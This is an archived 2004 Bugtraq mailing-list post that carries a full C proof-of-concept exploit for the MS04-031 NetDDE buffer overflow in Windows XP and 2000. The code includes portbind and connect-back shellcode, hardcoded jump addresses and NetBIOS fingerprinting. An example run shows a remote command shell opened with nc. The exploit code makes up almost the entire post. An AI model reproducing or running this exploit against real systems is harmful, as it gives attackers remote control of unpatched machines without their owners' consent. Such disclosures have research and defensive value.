[EXPL] (MS04-031) NetDDE buffer overflow vulnerability PoC

From: houseofdabus HOD (houseofdabus_at_inbox.ru)
Date: 12/31/04

  • Next message: steven_at_lovebug.org: "ArGoSoft FTP Server reveals valid usernames and allows for brute force attacks" 
    Date: 30 Dec 2004 23:39:21 -0000
To: bugtraq@securityfocus.com
    ('binary' encoding is not supported, stored as-is)

     
    ---snip---
    /* HOD-ms04031-netdde-expl.c: 2004-12-30: PUBLIC v.0.2
     *
     * Copyright (c) 2004 houseofdabus.
     *
     * (MS04-031) NetDDE buffer overflow vulnerability PoC
     *
     *
     *
     *
     * .::[ houseofdabus ]::.
     *
     *
     *
     * (special unstable version)
     * ---------------------------------------------------------------------
     * Description:
     * A remote code execution vulnerability exists in the
    NetDDE
     * services because of an unchecked buffer. An attacker
    who
     * successfully exploited this vulnerability could take
    complete
     * control of an affected system. However, the NetDDE
    services are
     * not started by default and would have to be manually
    started for
     * an attacker to attempt to remotely exploit this
    vulnerability.
     * This vulnerability could also be used to attempt to
    perform
     * a local elevation of privilege or remote denial of
    service.
     *
     * ---------------------------------------------------------------------
     * Patch:
     *
    http://www.microsoft.com/technet/security/Bulletin/MS04-031.mspx
     *
     * ---------------------------------------------------------------------
     * Tested on:
     * - Windows XP Professional SP0
     * - Windows XP Professional SP1
     * - Windows 2000 Professional SP2
     * - Windows 2000 Professional SP3
     * - Windows 2000 Professional SP4
     * - Windows 2000 Advanced Server SP4
     *
     * ---------------------------------------------------------------------
     * This is provided as proof-of-concept code only for
    educational
     * purposes and testing by authorized individuals with
    permission to
     * do so.
     *
     * ---------------------------------------------------------------------
     * Compile:
     *
     * Win32/VC++ : cl -o HOD-ms04031-expl
    HOD-ms04031-expl.c
     * Win32/cygwin: gcc -o HOD-ms04031-expl
    HOD-ms04031-expl.c -lws2_32.lib
     * Linux : gcc -o HOD-ms04031-expl
    HOD-ms04031-expl.c -Wall
     *
     * ---------------------------------------------------------------------
     * Command Line Parameters/Arguments:
     *
     * HOD-ms04031-expl.exe <host> <netbios name>
    <target> <bindport>
     * [connectback IP] [options]
     *
     * Targets:
     * 0 [0x00abfafc]: WinXP [universal]
     * 1 [0x009efb40]: Win2K [universal]
     *
     * Options:
     * -f: Netbios name fingerprinting
     *
     * ---------------------------------------------------------------------
     * Example:
     *
     * C:\>HOD-ms04031-expl.exe 192.168.0.1 -f
     * [*] Connecting to 192.168.0.1:139 ... OK
     * [*] Fingerprinting... OK
     * [+] Remote netbios name: HOD
     *
     * C:\>
     * C:\>HOD-ms04031-expl.exe 192.168.0.1 HOD 1 7878
     * [*] Connecting to 192.168.0.1:139 ... OK
     * [*] Attacking 192.168.0.1 ...OK.
     *
     * C:\>nc 192.168.0.1 7878
     *
     * Microsoft Windows 2000 [Version 5.00.2195]
     * (C) Copyright 1985-2000 Microsoft Corp.
     *
     * C:\WINNT\system32>
     *
     * ---------------------------------------------------------------------
     */
      
      
    /* #define _WIN32 */
      
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
      
    #ifdef _WIN32
    #include <winsock2.h>
    #pragma comment(lib, "ws2_32")
    #else
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #endif
      
      
    /* targets table */
    struct targets {
            int num;
            char name[50];
            long jmpaddr;
    }
    target[]= {
            { 0, "WinXP [universal] ", 0x00abfb1c - 0x20 },
            { 1, "Win2K [universal] ", 0x009efb60 - 0x20 }
    };
      
      
    /* portbind shellcode */
    unsigned char portbindsc[] =
    "\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
    "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
    "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
    "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
    "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
    "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
    "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
    "\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
    "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
    "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70"
    "\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6"
    "\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e"
    "\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83"
    "\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32"
    "\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59"
    "\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50"
    "\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50"
    "\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14"
    "\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc"
    "\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c"
    "\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33"
    "\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44"
    "\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d"
    "\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50"
    "\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55"
    "\x28\xff\x55\x0c";
      
      
    /* connectback shellcode */
    unsigned char connectbacksc[] =
    "\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
    "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
    "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
    "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
    "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
    "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
    "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
    "\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
    "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
    "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa"
    "\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02"
    "\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83"
    "\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83"
    "\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc"
    "\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8"
    "\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90"
    "\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50"
    "\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8"
    "\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56"
    "\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa"
    "\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab"
    "\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50"
    "\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff"
    "\x77\x38\xff\x55\x20\xff\x55\x0c";
      
      
    #define SET_PORTBIND_PORT(buf, port) *(unsigned
    short *)(((buf)+300)) = (port)
    #define SET_CONNECTBACK_IP(buf, ip) *(unsigned
    long *)(((buf)+283)) = (ip)
    #define SET_CONNECTBACK_PORT(buf, port)
    *(unsigned short *)(((buf)+290)) = (port)
      
      
    /*
       eax = target[].jmpaddr -> stack -> jmpcode -> shellcode
      
       1. 0100D605 call dword ptr [eax+20h]
       2. jmpcode
       3. shellcode
    */
      
    char jmpcode[] =
    "\x90\x90\x90\x90\x66\x81\xC7\x20\x03\xFF\xE7\x90\x90\x90\x90\x90"
    "\x50\x6f\x43\x20\x66\x6f\x72\x20\x4e\x65\x74\x44\x44\x45\x20\x28"
    "\x4d\x53\x30\x34\x2d\x30\x33\x31\x29\x2e\x20\x43\x6f\x70\x79\x72"
    "\x69\x67\x68\x74\x20\x28\x63\x29\x20\x32\x30\x30\x34\x2d\x32\x30"
    "\x30\x35\x20\x68\x6f\x75\x73\x65\x6f\x66\x64\x61\x62\x75\x73\x2e"
    "\xBB\xBB\xBB\xBB" /* => eax */
    "PADPAD";
      
    char smb_sesreq[] =
    "\x81\x00\x00\x44\x20\x43\x4b\x46\x44\x45\x4e\x45\x43\x46\x44\x45"
    "\x46\x46\x43\x46\x47\x45\x46\x46\x43\x43\x41\x43\x41\x43\x41\x43"
    "\x41\x43\x41\x43\x41\x00\x20\x45\x4b\x45\x44\x46\x45\x45\x49\x45"
    "\x44\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43"
    "\x41\x43\x41\x43\x41\x41\x41\x00";
      
    char smb_negotiate[] =
    "\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x02"
    "\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e"
    "\x31\x32\x00";
      
    char d1[] =
    "\x0d\x12\x0b\x06\x0d\x18\x1c\x01\x10\x03\x12\x08\x1d\x1f\x0a\x0a"
    "\x16\x02\x17\x0e\x1b\x0d";
      
    char req1[] =
    "\x81\x00\x00\x44";
      
    char req2[] =
    "CACACACACACACACACACACACACACACABP";
      
    char h1[] =
    "\x45\x44\x44\x4E\x00\x00\x00";
      
    char h2[] =
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
      
    char h3[] =
    "\x00\x00\x02\x02\x00\x00\x00\x01\x00\x00\x00";
      
      
    unsigned long ndlen = 0;
    unsigned long ntarget = 0;
    unsigned long backip = 0;
    unsigned short bindport = 0;
      
      
      
    unsigned long
    fixx(unsigned char *data, unsigned long i)
    {
            unsigned long len;
      
            len = (data[i+3]<<24) +
                    (data[i+2]<<16) +
                    (data[i+1]<<8) +
                    (data[i]);
      
    return len;
    }
      
      
    unsigned long
    chksum(unsigned char *data, unsigned long dlen)
    {
            unsigned long i, len;
            unsigned long chk;
      
            chk = 0xFFFFFFFF;
            len = dlen - 4;
      
            for (i=0; i<len; i+=4)
                    chk += fixx(data, i);
      
            while (i < dlen) {
                    chk += (unsigned char)data[i];
                    i++;
            }
      
    return chk;
    }
      
      
    char *
    netbios_encode(char *ndata, char service)
    {
            char *tmpdata, *data, *nret;
            unsigned long dlen;
            char odiv, omod, o;
            int i;
      
            data = (char *)calloc(17, 1);
            memcpy(data, ndata, strlen(ndata));
      
            dlen = strlen(data);
            while (dlen < 15) {
                    strcat(data, "\x20");
                    dlen++;
            }
      
            memcpy(data+strlen(data), &service, 1);
      
            nret = (char *)calloc(strlen(data)*2+1, 1);
            tmpdata = nret;
      
            for (i=0; i<16; i++) {
                    o = (char)data[i];
                    odiv = o / 16;
                    odiv = odiv + 0x41;
                    omod = o % 16;
                    omod = omod + 0x41;
                    *tmpdata++ = odiv;
                    *tmpdata++ = omod;
            }
      
            free(data);
      
    return nret;
    }
      
    unsigned char *
    find_smbname(unsigned char *data, unsigned long len)
    {
            unsigned char *ptr;
            unsigned long i = 0;
      
            ptr = data;
            ptr += 91;
      
            while (i <= len - 3) {
                    if (ptr[i] == '\x00')
                    if (ptr[i+1] == '\x00')
                    if (ptr[i+2] == '\x00')
                            return ptr+i+3;
            i++;
            }
      
    return NULL;
    }
      
    /* fingerprinting */
    unsigned char *
    smb_get_name(char *ip)
    {
            int sock, r;
            unsigned long smbname_len;
            unsigned char *name = NULL, *smbname;
            struct sockaddr_in s;
            struct hostent *he;
            unsigned char buf[256];
      
      
            if ((he = gethostbyname(ip)) == NULL) {
                    printf("[-] Unable to resolve %s\n", ip);
                    return NULL;
            }
      
            sock = socket(AF_INET, SOCK_STREAM,
    IPPROTO_TCP);
            if (sock < 0) return NULL;
      
            s.sin_family = AF_INET;
            s.sin_addr = *((struct in_addr *)he->h_addr);
            s.sin_port = htons(139);
            memset(&(s.sin_zero), '\0', 8);
      
            memset(buf, 0, 256);
      
            printf("[*] Connecting to %s:139 ... ", ip);
            r = connect(sock, (struct sockaddr *) &s, sizeof(struct
    sockaddr_in));
            if (r == 0) {
                    printf("OK\n[*] Fingerprinting... ");
                    /* sending session request */
                    send(sock, smb_sesreq, sizeof(smb_sesreq)-1,
    0);
                    Sleep(1000);
                    r = recv(sock, (char *)buf, 256, 0);
                    if (r < 0) goto err;
      
                    memset(buf, 0, 256);
                    /* sending negotiation request */
                    send(sock, smb_negotiate,
    sizeof(smb_negotiate)-1, 0);
                    Sleep(1000);
                    r = recv(sock, (char *)buf, 256, 0);
                    if (r < 0) goto err;
      
                    printf("OK\n");
                    smbname = find_smbname(buf, r);
                    if (smbname == NULL) goto err;
                    smbname_len = smbname - buf;
      
                    name = (unsigned char *)calloc(smbname_len,
    1);
      
                    /* decoding */
                    r = 0;
                    while (smbname_len) {
                            if (*smbname != '\x00') {
                                    name[r] = *smbname;
                                    r++;
                            }
                            smbname++;
                            smbname_len--;
                    }
            } else {
                    printf("failed\n[-] Can't connect to %s:139\n", ip);
            }
      
    err:
            shutdown(sock, 1);
            closesocket(sock);
      
    return name;
    }
      
      
    /* NetDDE packet */
    char *
    packet_assembly(char *name, char *host)
    {
            char *main, *header, *data;
            char *lname, *rhost;
            unsigned long llen, rlen, len, hlen, dlen, csum, i;
            unsigned char name_hi, name_low, rhost_hi,
    rhost_low;
            unsigned char hod_hi, hod_low, len_hi, len_low;
            unsigned char nops[] = "\x90\x90\x90\x90"; /* nops */
            char hod[] = "HOD-HOD\x01";
            char hmain[] = "\x01\x00\xBE\x05\x0A\x00\x00";
            char tmp[8];
      
      
            llen = strlen(name) + 4;
            rlen = strlen(host);
            lname = (char *)calloc(llen + 3, 1);
            rhost = (char *)calloc(rlen + 3, 1);
      
            memcpy(lname, name, llen);
            strcpy(rhost, host);
            memcpy(lname + llen, "\x01", 1);
            strcat(rhost, "\x01");
      
            name_hi = (unsigned char) ((llen+1) / 256);
            name_low = (unsigned char) ((llen+1) % 256);
            rhost_hi = (unsigned char) ((rlen + llen + 2) / 256);
            rhost_low = (unsigned char) ((rlen + llen + 2) % 256);
      
            len = sizeof(hod) - 1;
            hod_hi = (unsigned char) (len / 256);
            hod_low = (unsigned char) (len % 256);
      
            main = (char *)calloc( sizeof(hod)-1 +
                                    sizeof(hmain)-1 +
                                    llen + rlen +
                                    11, 1 );
      
            memcpy(main, hmain, sizeof(hmain)-1);
            sprintf(tmp, "%c%c%c%c%c%c", name_hi, name_low,
                    rhost_hi, rhost_low, hod_hi, hod_low);
      
            memcpy(main+sizeof(hmain)-1, tmp, 6);
            memcpy(main+sizeof(hmain)-1+6, "\x00", 1);
            memcpy(main+sizeof(hmain)-1+7, lname, llen+1);
            memcpy(main+sizeof(hmain)-1+7+llen+1, rhost,
    rlen+1);
            memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1, hod,
    sizeof(hod)-1);
             
    memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1,
                            "\x2e", 1);
      
            len =
    sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1+1;
            len_hi = (unsigned char) (len / 256);
            len_low = (unsigned char) (len % 256);
      
      
            /* header */
            header = (char *)calloc(sizeof(h1)-1 +
                                    sizeof(h2)-1 +
                                    sizeof(h3)-1 +
                                    9, 1);
      
            memcpy(header, h1, sizeof(h1)-1);
            sprintf(tmp, "%c%c", len_hi, len_low);
            memcpy(header+sizeof(h1)-1, tmp, 2);
            memcpy(header+sizeof(h1)-1+2, h2, sizeof(h2)-1);
            memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1, tmp, 2);
            memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1+2, h3,
    sizeof(h3)-1);
      
            csum = chksum(main, len);
            memcpy(header+sizeof(h1)-1+sizeof(h2)-1+4
                            + sizeof(h3)-1, &csum, 4);
      
      
            /* data */
            hlen = sizeof(h1)-1 + sizeof(h2)-1 + sizeof(h3)-1 + 8;
            data = (char *)calloc( sizeof(d1)-1 +
                                    len+hlen +
                                    37 +
                                    1200, 1 );
      
            csum = chksum(header, hlen);
            memcpy(data+4, &csum, 4);
            memcpy(data+4+4, header, hlen);
            memcpy(data+4+4+hlen, main, len);
            memcpy(data+4+4+hlen+len, d1, sizeof(d1)-1);
      
            /* nops */
            for (i=0; i<154; i++)
                    memcpy(data+4+4+hlen+len+sizeof(d1)-1 + i*4,
    nops, 4);
      
            /* shellcode */
            if (!backip) {
                    /* portbind */
                    SET_PORTBIND_PORT(portbindsc,
    htons(bindport));
                     
    memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4,
    portbindsc, sizeof(portbindsc)-1);
                    dlen =
    4+hlen+len+sizeof(d1)-1+sizeof(portbindsc)-1+154*4;
            } else {
                    /* connectback */
                    SET_CONNECTBACK_IP(connectbacksc,
    backip);
                    SET_CONNECTBACK_PORT(connectbacksc,
    htons(bindport));
                     
    memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4,
    connectbacksc, sizeof(connectbacksc)-1);
                    dlen =
    4+hlen+len+sizeof(d1)-1+sizeof(connectbacksc)-1+154*4;
            }
      
            ndlen = dlen + 4;
            dlen = htonl(dlen);
            memcpy(data, &dlen, 4);
      
            free(lname);
            free(rhost);
            free(main);
            free(header);
      
    return data;
    }
      
      
    void
    usage(char *prog)
    {
            int i;
      
            printf("%s <host> <netbios name> <target> <bindport>
    [connectback IP] [options]\n\n", prog);
            printf("Targets:\n");
            for (i = 0; i < 2; i++)
                    printf(" %d [0x%.8x]: %s\n", target[i].num,
    target[i].jmpaddr, target[i].name);
            printf("\nOptions:\n\t-f: Netbios name fingerprinting\n");
            exit(0);
      
    }
      
    void
    vargs(int argc, char **argv)
    {
            int i, finger = 0;
            char *nname = NULL;
      
            for (i = 2; i < argc; i++) {
                    if (argv[i][0] == '-') {
                            if (argv[i][1] == 'f')
                                    finger = 1;
                    }
            }
      
            if (finger && argc > 2) {
                    nname = smb_get_name(argv[1]);
                    if (nname) {
                            printf("[+] Remote netbios name: %s\n",
    nname);
                            free(nname);
                    }
                    exit(0);
            } else
            if (argc < 5) usage(argv[0]);
            if ((ntarget = atoi(argv[3])) > 1) usage(argv[0]);
      
            bindport = (unsigned short)atoi(argv[4]);
            if (argc > 5) backip = inet_addr(argv[5]);
      
    return;
    }
      
      
      
    int
    main (int argc, char **argv)
    {
      
            int len, sockfd;
            char *host;
            char *req;
            struct hostent *he;
            struct sockaddr_in their_addr;
            char rbuf[4096];
      
    #ifdef _WIN32
            WSADATA wsa;
    #endif
      
            char *ses_req;
            char *data, *hname;
            char *hn, *hn2;
            unsigned long req_sz, hname_len, hn_len;
      
      
    #ifdef _WIN32
            WSAStartup(MAKEWORD(2,0), &wsa);
    #endif
      
      
            printf("\n (MS04-031) NetDDE buffer overflow
    vulnerability PoC\n\n");
            printf("\tCopyright (c) 2004-2005 .::[ houseofdabus
    ]::.\n\n\n");
      
            vargs(argc, argv);
      
            hn = argv[2]; /* target netbios name */
            host = argv[1]; /* target host name */
      
            if (strlen(host) > 1024) return 0;
      
            /* target jmpaddr */
            memcpy(jmpcode+80, &target[ntarget].jmpaddr, 4);
      
            ses_req = (char *)calloc(sizeof(req1)-1 +
                                     sizeof(req2)-1 +
                                     114, 1);
      
            memcpy(ses_req, req1, sizeof(req1)-1);
            memcpy(ses_req+sizeof(req1)-1, "\x20", 1);
      
            hname = netbios_encode(hn, 0x1F);
            hname_len = strlen(hname);
      
            memcpy(ses_req+sizeof(req1)-1+1, hname,
    hname_len);
            memcpy(ses_req+sizeof(req1)-1+1+hname_len,
    "\x00\x20", 2);
            memcpy(ses_req+sizeof(req1)-1+1+hname_len+2,
    req2, sizeof(req2)-1);
             
    memcpy(ses_req+sizeof(req1)-1+1+hname_len+2+sizeof(req2)-1,
    "\x00", 1);
      
            req_sz =
    sizeof(req1)-1+sizeof(req2)-1+hname_len+4;
      
            if ((he = gethostbyname(host)) == NULL) {
                    printf("[-] Unable to resolve %s\n", host);
                    return 0;
            }
      
            if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) <
    0) {
                    printf("[-] Error: socket failed\n");
                    return 0;
            }
      
            req = req1;
      
            their_addr.sin_family = AF_INET;
            their_addr.sin_port = htons(139);
            their_addr.sin_addr = *((struct in_addr *)he->h_addr);
            memset(&(their_addr.sin_zero), '\0', 8);
      
            /* connecting */
            printf("[*] Connecting to %s:139 ... ", host);
            if (connect(sockfd, (struct sockaddr *)&their_addr,
    sizeof(struct sockaddr)) < 0) {
                    printf("[-] Error: connect failed\n");
                    return 0;
            }
            printf("OK\n");
      
            if (send(sockfd, ses_req, req_sz, 0) < 0) {
                    printf("[-] Error: send failed\n");
                    return 0;
            }
      
            len = recv(sockfd, rbuf, 4096, 0);
            if (len < 0) return 0;
      
            /* check NetDDE */
            if ((unsigned char)rbuf[0] != 0x82) {
                    printf("[-] NetDDE disabled or wrong netbios
    name\n");
                    return 0;
            }
      
            hn2 = (char *)calloc(16, 1);
            memcpy(hn2, hn, strlen(hn));
            hn_len = strlen(hn);
      
            while (hn_len < 15) {
                    strcat(hn2, "\x20");
                    hn_len++;
            }
      
            /* attacking */
            printf("[*] Attacking %s ...", host);
      
            data = packet_assembly(jmpcode, hn2);
      
            if (send(sockfd, data, ndlen, 0) < 0) {
                    printf("\n[-] Error: send failed\n");
                    return 0;
            }
            printf("OK.\n");
            len = recv(sockfd, rbuf, 4096, 0);
      
            shutdown(sockfd, 1);
            closesocket(sockfd);
            free(data);
            free(hn2);
            free(ses_req);
            free(hname);
      
    return 0;
    }
      
    ---snip---
     

  • Next message: steven_at_lovebug.org: "ArGoSoft FTP Server reveals valid usernames and allows for brute force attacks"

    Relevant Pages

    • [EXPL] NetDDE MS04-031 Exploit Code
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... in NetDDE Could Allow Remote Code Execution, a vulnerability in ... NetDDE allows a remote attacker to cause the NetDDE service to execute ... unsigned char connectbacksc[] = ...
      (Securiteam)
    • [Full-Disclosure] Apache - all versions vulnerability in OLD procesors.
      ... Apache - all versions vulnerability in OLD procesors. ... static char *get_pw(request_rec *r, char *user, char ... typedef struct { ... that situaction do this bug! ...
      (Full-Disclosure)
    • [Full-disclosure] Windows .ANI LoadAniIcon Stack Overflow
      ... Windows .ANI LoadAniIcon Stack Overflow ... A vulnerability has been identified in Microsoft Windows, ... cursors, animated cursors or icons with a malformed header, which could ... unsigned char uszAniHeader[] = ...
      (Full-Disclosure)
    • liquidwars exploit
      ... We can see the vulnerable code here: ... char home_path; ... This vulnerability can be exploited by a local attacker to execute arbitrary code with gid=games privileges. ... Astharot by Zone-H who posted the stack overflow bug ...
      (Bugtraq)
    • Re: do prot pally have any chance in PvP?
      ... char has you targetted) which works when hostile players also have you ... in pvp targets me). ... and none for aggro as I very rarely group.) ...
      (alt.games.warcraft)